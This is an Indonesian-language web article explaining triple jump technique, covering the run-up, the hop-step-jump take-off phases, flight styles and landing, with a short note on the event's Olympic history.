Olahraga yang pertama kalinya pada tahun 1896 termasuk di dalam olimpiade modern yang diadakan di Yunani ini awalnya hanya boleh dimainkan oleh para laki-laki saja. Namun, olahraga yang dimenangkan oleh James Connolly pada kali pertamanya diikutsertakan pada olimpiade modern di Yunani ini akhirnya terbuka bahkan bagi para atlet perempuan.

Berbicara soal teknik lompat jangkit, walau tampak sama tetap saja tekniknya berbeda dari lompat jauh atau bahkan teknik lompat katak. Berikut ini adalah uraian lengkap mulai dari teknik awalan, tolakan, pada waktu melayang, hingga teknik mendarat yang paling benar.

  1. Teknik Awalan

Teknik-AwalanPada waktu melakukan teknik gerakan awal dalam lompat jangkit, pada dasarnya awalannya sama seperti ketika Anda melakukan lompat jauh. Anda harus lebih dulu melakukan aksi berlari dengan jarak kurang lebih 45 meter dengan target papan tolakan yang dituju. Dari situlah, Anda baru akan bisa melakukan tolakan yang pertama.

  • Sebelum berlari, ancang-ancang sangatlah diperlukan, yakni dengan posisi awal start berdiri sebagai bagian dari persiapan.
  • Anda perlu mengatur nafas lebih dulu supaya tubuh jauh lebih rileks.
  • Fokuskanlah pandangan ke bagian papan tolakan dan larilah ketika sudah siap.
  • Jagalah agar kecepatan berlari tetap tinggi dan konstan di mana tujuan utamanya adalah agar memperoleh momentum lompatan paling sesuai.
  • Penting pula agar kaki tumpu penempatannya bisa tepat di bagian balok.
  1. Teknik Tolakan

Teknik-TolakanPada bagian tolakan lompat jangkit, ada 3 tahapan yang perlu diperhatikan, terutama oleh para atlet pemula. Tolakan terbagi menjadi 3 fase, sewaktu berjingkat, melangkah, hingga melompat yang tentunya penting dipahami dengan benar supaya eksekusinya bisa sempurna.

  • Gerakan Tolakan saat Berjingkat – Atlet harus tahu bahwa kaki penolak dalam gerakan ini perlu secara aktif mendarat dan bersiap untuk gerakan menendang. Saat berjingkat atau berjinjit, pastikan agar atlet melakukannya secara datar namun memanjang sebelum melakukan tolakan ke atas bagian depan.
  • Gerakan Tolakan saat Melangkah – Atlet harus bertindak cepat dalam tahap ini di mana paha atau kaki bisa diayunkan secara bebas namun tetap secara horisontal. Atlet setelahnya harus bersiap melompat sesaat setelah dari mempertahankan posisi bertolak.
  • Gerakan Tolakan saat Melompat – Atlet harus menggerakkan paha kaki secara horisontal dan ayunan pun seharusnya bisa dilakukan secepat mungkin. Supaya bisa melompat dengan benar, jauh dan maksimal, penting untuk mengangkat lengan dengan mengarahkannya ke atas depan.
  1. Teknik Sewaktu Melayang

Teknik-Sewaktu-MelayangDari setelah gerakan tolakan, Anda pun perlu memahami gerakan yang benar sewaktu berada di udara. Pada gerakan melayang ini pun sebetulnya tak jauh berbeda dari apa yang dipelajari pada teknik lompat jauh. Ada 2 gaya gerakan yang bisa coba dipraktikkan, yaknik gaya seperti sedang berjalan di udara atau gaya menggantung biasa.

  • Gaya Berjalan – Jika memilih gerakan melayang di udara dengan gaya berjalan, maka yang perlu diperhatikan adalah kita harus membusungkan sedikit bagian dada di tolakan posisi awal. Lanjutkanlah dengan kedua tangan bisa berayun ke arah belakang di mana gerakannya persis seperti sewaktu kita tengah berlari. Setelah tangan, kaki pun juga kita turut ayunkan ke arah depan persis seperti gerakan sedang berjalan.
  • Gaya Menggantung – Jika memilih gerakan melayang di udara dengan gaya menggantung, maka yang perlu diperhatikan adalah kedua tangan kita haruslah lebih dulu diposisikan pada sisi telinga bagian dalam (pastikan posisinya ke atas lurus). Barulah kemudian kedua kaku menyusul dengan posisi merapat dan mengayun dari arah belakang menuju depan. Untuk awal tolakan, busungkan dada sedikit dan gerakkan ke belakang sementara kita bisa mengayunkan badan dan lutut ke depan sekuat tenaga.
  1. Teknik Mendarat

Teknik-MendaratSupaya menghindari cedera, maka pendaratan pada lompat jangkit perlu dilakukan dengan kedua kaki meski sebenarnya pendaratan dengan satu kaki pun sangat boleh. Hanya saja, teknik mendarat hana dengan satu kaki justru memperbesar risiko atlet mengalami cedera yang parah.

  • Luruskan lutut kaki ke depan.
  • Tekuklah sedikit bagian lengan.
  • Posisikan lutut dan tubuh serileks mungkin sewaktu pendaratan.
  • Posisikan kaki di depan sewaktu kedua kaki sudah hampir sampai di tempat mendarat.
  • Jadikan tumit kaki keduanya sebagai tumpuan awal ketika mendarat.
  • Posisikan kedua tangan ke depan ketika tumit kaki dua-duanya sudah mendarat.
  • Bungkukkan badan sedikit supaya pendaratan tereksekusi secara baik.
  • Pastikan untuk selalu menjaga tubuh tetap seimbang dalam sikap pendaratan karena bila tidak, tubuh akan lebih gampang jatuh ke belakang.

Sebenarnya tak masalah bila terjatuh ke belakang karena para atlet umumnya menggunakan energi sangat besar sewaktu melompat sehingga memang sulit mengendalikan dan menahan tubuh untuk tak terjengkang. Seperti itulah teknik lompat jangkit mulai dari awal hingga akhir saat mendarat dengan benar, cukup berbeda dari teknik lompat harimau sekalipun namun termasuk sebagai olahraga yang mudah dilakukan.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail